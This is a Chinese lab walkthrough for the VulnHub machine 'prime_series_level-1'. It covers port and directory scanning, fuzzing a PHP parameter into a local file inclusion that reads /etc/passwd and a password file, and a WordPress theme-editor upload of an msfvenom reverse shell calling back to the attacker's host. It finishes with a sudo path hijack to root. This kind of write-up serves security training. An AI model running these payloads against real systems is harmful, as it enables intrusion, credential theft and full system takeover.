当前位置:网站首页>prime_series_level-1
prime_series_level-1
2022-07-23 20:20:00 【逆风/】
靶机下载
网络NAT
arp-scan -l
nmap -p 1-65535 -A 192.168.194.157
访问http

dirb http://192.168.194.157

再使用dirb工具加上参数过滤一下
dirb http://192.168.194.157 -X .txt,.php,zip


fuzz
location.txt
page of php :
http://192.168.194.157/image.php
http://192.168.194.157/index.php


wpscan枚举用户
wpscan --url http://192.168.194.157/wordpress/ --enumerate u
得到用户victor
使用Kali自带的wfuzz
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.194.157/index.php?FUZZ

过滤
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.194.157/index.php?FUZZ

试下
http://192.168.194.157/index.php?file=location.txt

正确参数为secrettier360,试了一个前php不行,换一个对了
http://192.168.194.157/image.php?secrettier360=location.txt

运用
http://192.168.194.157/image.php?secrettier360=/etc/passwd

使用 curl 有换行
curl http://192.168.194.157/image.php?secrettier360=/etc/passwd

http://192.168.194.157/image.php?secrettier360=/home/saket/password.txt

follow_the_ippsec
进入后台
http://192.168.194.157/wordpress/wp-login.php
victor
follow_the_ippsec

可以写入的主题编辑区 secret.php
使用msf生成反弹shell
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.194.156 lport=7777 -o shell.php
use exploit/multi/handler
set Payload php/meterpreter/reverse_tcp
set LHOST 192.168.194.156
set lport 7777
run

http://192.168.194.157/wordpress/wp-content/themes/twentynineteen/secret.php

提权
交互shell
python -c 'import pty;pty.spawn("/bin/bash")'
参考
/opt/backup/server_database
cat backup_pass
enc.txt
nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=
key.txt
I know you are the fan of ippsec.
So convert string "ippsec" into md5 hash and use it to gain yourself in your real form.
tribute_to_ippsec
[email protected]:~$ sudo -l
sudo -l
Matching Defaults entries for saket on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User saket may run the following commands on ubuntu:
(root) NOPASSWD: /home/victor/undefeated_victor
[email protected]:~$ sudo /home/victor/undefeated_victor
sudo /home/victor/undefeated_victor
if you can defeat me then challenge me in front of you
/home/victor/undefeated_victor: 2: /home/victor/undefeated_victor: /tmp/challenge: not found
[email protected]:~$ cp /bin/bash /tmp/challenge
cp /bin/bash /tmp/challenge
[email protected]:~$ sudo /home/victor/undefeated_victor
sudo /home/victor/undefeated_victor
if you can defeat me then challenge me in front of you
[email protected]:~# id
id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:~#
提权原理,创建challenge文件,将/bin/bash写入文件中,然后重新执行sudo /home/victor/undefeated_victor命令以获取拥有root权限的shell.参考
边栏推荐
- 2022.7.11mySQL作业
- zfoo中的providers和consumers标签
- 【Kernel】驱动开发学习之Platform平台总线模型
- Mysql的前世今生,Hello,Mysql
- 【Jailhouse 文章】A Novel Software Architecture for Mixed Criticality Systems(2020)
- OpenLayers实例-Accessible Map-可访问的地图
- 【力扣】三数之和
- After the input error of next numerical data type () occurs, it can still be input normally next time
- 【pdd面试】分析手机中的应用(相机)的活跃情况
- Solve the problem that the user clicks quickly and repeats the request within 1 second
猜你喜欢

When using polymorphism, two ideas to judge whether it can be transformed downward

LyScript 插件命令返回封装

The instructions on Microsoft website about opening or closing smartscreen in edge browser are incorrect

牛客C基础题练习

Model loading of assimp Library under QT

【C语言】通讯录(静态版本)

Applet avatar group style

NLP领域历史最全必读经典论文分类整理分享(附中文解析)

去广场吃饭

138-查询案例-涉及知识点:forEach遍历&computed计算属性&v-for循环
随机推荐
Tropomi (sentinel 5p) data introduction and download method
OpenIM重大优化-消息按需加载 一致性缓存 uniapp发布
How to solve the problem that the solid state disk cannot be found when installing win11?
21.mixin混入详解
三层交换机配置MSTP协议详解【华为eNSP实验】
我,AI博士生,在线众筹研究主题
Cesium 核心类Viewer-查看器详解
Flink Catalog解读
区间DP-链式石子合并
Leetcode 228. summary interval (yes, solved)
OpenIM重大升级-群聊读扩散模型发布 群管理功能升级
速卖通选品推荐:韩国市场有哪些潜力机会商品?
The latest version of conflict+docker+mysql8 deployment tutorial
关于网段CIDR的笔记
如何在OneFlow中新增算子
AB球队得分流水表,得到连续三次得分的队员名字 和每次赶超对手的球员名字(pdd)
OpenLayers官方实例全集
138-查询案例-涉及知识点:forEach遍历&computed计算属性&v-for循环
【云享读书会第13期】第五章FFmpeg 查看媒体信息和处理音视频文件的常用方法
解决1秒钟内,用户快速点击,重复请求的问题